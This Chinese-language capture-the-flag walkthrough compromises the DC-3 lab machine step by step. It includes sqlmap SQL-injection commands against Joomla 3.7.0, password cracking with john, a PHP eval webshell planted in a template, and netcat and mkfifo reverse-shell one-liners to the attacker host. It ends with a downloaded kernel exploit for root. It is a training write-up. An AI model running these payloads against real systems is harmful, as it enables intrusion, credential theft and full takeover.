DC-3靶场通关讲解
查看靶场ip查看自己的ip地址
使用nmap扫描nmap -sP 192.168.132.128/24
探端口及服务
输入nmap -A -p -v 192.168.132.131
可以看见开放了80端口,存在web服务
网页信息探测
使用火狐打开网页 输入靶机ip地址 访问http://192.168.132.131
页面会显示必须获得权限
Joomscan扫描
joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具,输入apt install joomscan进行安装 提示没有joomscan 选择y安装
apt install joomscan
进行扫描后台地址
输入joomscan --url http://192.168.132.131/
发现了joomla版本号还有网站的其他路径
CMSseek安装
git clone GitHub - Tuhinshubhra/CMSeeK: CMS Detection and Exploitation suite - Scan WordPress, Joomla, Drupal and over 180 other CMSs
git clone [<选项>] [--] <仓库> [<路径>]
输入git clone http://github.com/Tuhinshubhra/CMSeek
从github下载到kali,如果显示RPC失败可以再重新执行一次
进入到CMSeek文件夹可以看到有一个cmseek.py的脚本
既然得到了joomla版本那就去搜索一下这个版本的漏洞
“searchsploit”是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。
Exploit-DB是一个漏洞库,kali中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用
searchsploit joomla 3.7.0
可以看到存在sql注入,后面显示有路径,在网上查了一下可以在
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt查看
文档中列出了使用sqlmap注入的参数
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
看到提示,数据库语句错误,说明进行了拼接,存在SQL注入
sqlmap跑出数据
跑出所有数据库
sqlmap -u "http://192.168.132.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch
列出了五个数据库
既然有了数据库那就继续查表,查joomladb这个表
获取当前数据库的名字joomladb
sqlmap -u "http://192.168.132.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch
sqlmap -u "http://192.168.132.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch
观察表名,很明显,我们会关注#__users这张表
获取joomladb的users表的字段名
sqlmap -u "http://192.168.132.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
第一个选项,回复y
第二个选项,使用“y”
第三个选项,回车
第四个选项,回车
跑出了六个字段
获取目标字段username和password
sqlmap -u "http://192.168.132.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
获得结果如下
拿到一个用户名和加密的密码
利用john爆破密码snoopy
使用john破解出admin密码,john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。
创建一个1.txt,把加密的密码字段写入
使用john破解出admin密码是snoopy
尝试去登录一下
利用获取到的账号密码进行登录
http://192.168.132.131/administrator/
admin/snoopy
登陆成功
上传webshell
发现一个上传点
点击Beez3 Details and Files进入
点击newfiles
这儿我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑
要上传木马,我们先要找到当前文件所在的目录:
http://192.168.132.131/templates/beez3/html/
回到刚才的页面点击new file
在html下创建一个php文件,名字叫做shell
创建成功之后,跳到编辑页面,然后我们输入php一句话,点击左上角绿色的save进行保存
<?php
echo ("密码是a");
@eval($_REQUEST [a]);
?>
再次访问http://192.168.132.131/templates/beez3/html/
发现多了一个shell.php文件,我们访问一下
蚁剑管理webshell
右键添加数据
右键进入虚拟终端执行whaomi查询我权限,是www-data权限
反弹shell到kali
蚁剑看到的终端不如kali清晰,反弹一个shell到kali
kali监听
nc -lvvp 1234
nc -e /bin/bash 192.168.132.128 1234
使用如下目录连接
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.132.128 1234 >/tmp/f
创建交互式shell
经常用shell的都知道这个shell不好用,我们建立一个交互式shell
常用的就是python创建交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
使用辅助脚本发现提权漏洞
下载辅助脚本Linux-Exploit-Suggester.sh
下载地址:https://github.com/mzet-/linux-exploit-suggester
上传辅助脚本
我们直接在蚁剑中上传
上传成功
发现漏洞
ls -l linux-exploit-suggester.sh
发现没有执行权限,我们给他加个执行文件
chmod +x linux-exploit-suggester.sh
ls -l linux-exploit-suggester.sh
执行脚本
./linux-exploit-suggester.sh
发现很多可利用漏洞
使用辅助脚本提权
获取提权脚本
上面发现了很多漏洞,这里我们挑一个进行提权
挑选CVE-2016-4557
在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载
也可以去searchsploit里面去看看
地址根上面一样也不能使用
可以使用下面地址直接下载
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
提权
解压文件
unzip 39772.zip
cd 39772
Ls
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
执行完之后,提权成功
获得root权限
发现the-flag.txt
ls
cat the-flag.txt
到这我们就圆满结束了!